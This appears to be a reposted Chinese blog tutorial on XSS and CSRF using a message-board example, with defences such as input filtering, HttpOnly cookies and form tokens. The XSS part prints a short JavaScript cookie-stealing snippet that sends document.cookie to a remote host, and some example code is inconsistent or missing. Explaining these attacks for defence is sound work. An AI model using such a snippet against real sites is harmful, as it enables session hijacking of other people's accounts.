博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
思考XSS攻击和跨站伪造请求CSRF
阅读量:6577 次
发布时间:2019-06-24

本文共 1225 字,大约阅读时间需要 4 分钟。

一、跨站脚本攻击 XSS

场景:获取用户Cookie,用于伪造登录。如java的JSESSIONID。

例子:有个留言板程序http://test.com/add.jsp, list.jsp

(1)恶意用户A留言, 内容<script>http://attack.com/attack.js</script>

http://attack.com/attack.js中将cookie保存到自己服务器。

var c=document.cookie;

var script =document.createElement('script');

script.src='http://test.com/index.php?c='+c; document.body.appendChild(script)

(2)合法用户遭受攻击

当管理员登录后,访问留言板列表页面http://test.com/list.jsp,自动访问了攻击者的attack.js。

管理员cookie被攻击者A获取。

(3)危害

攻击者伪造JSessionID Cookie,登录系统。

(4)防范方法:

这种session劫持主要靠XSS漏洞和客户端获取sessionId完成,一次防范分两步

1. 过滤用户输入,防止XSS漏洞

2. 设置sessionId的cookie为HttpOnly,使客户端无法获取。

 二、跨站伪造请求CSRF

场景:骗取用户执行高权限链接,删除、修改数据。

例子:有个留言板程序http://test.com/delete.jsp?id=1,只有管理员有权限,可以删除id为1的留言记录

攻击者想执行删除操作,但他没有权限,以下为攻击步骤:

(1)恶意用户制作一个页面http://attack.com/attack1.jsp

GET方式:

POST方式: 

              

(2)发恶意邮件,诱骗管理员打开http://attack.com/attack1.jsp

(3)管理员不了解的情况下,就执行了删除。以为打开了图片或者空网页

(4)防范方法

1. 使用post,不使用get修改信息

2. 验证码,所有表单的提交需要验证码,但是貌似用起来很麻烦,所以一些关键的操作可以

3. 在表单中预先植入一些加密信息,验证请求是此表单发送

 

转载于:https://www.cnblogs.com/chinasinop/p/6626270.html

你可能感兴趣的文章
mysql优化:连接数
查看>>
PHP 时间操作 / 跳转问题
查看>>
Windows 2012 R2 FSMO角色相关小记录
查看>>
(小蚂蚁站长吧)网站优化做好这八步你就是seo第一
查看>>
使用流的方式往页面前台输出图片
查看>>
java核心技术反射
查看>>
LAMP,安装脚本
查看>>
DHCP
查看>>
电脑上怎样压缩图片大小
查看>>
新来的发一个帖子
查看>>
lnmp安装
查看>>
FTP工作方式
查看>>
Ubuntu16.04 ssh安及root登录
查看>>
C语言dos程序源代码分享(进制转换器)
查看>>
php项目中常用的log日志记录方法
查看>>
LogParser 导入MSSQL
查看>>
linux安装go环境并编写第一个go程序
查看>>
【在线研讨-现场文字】《敏捷开发用户故事分类与组织结构(二期-3)》2012-07-03...
查看>>
易语言 --什么情况下 用许可证
查看>>
项目总结:凡事预则立,不预则废!
查看>>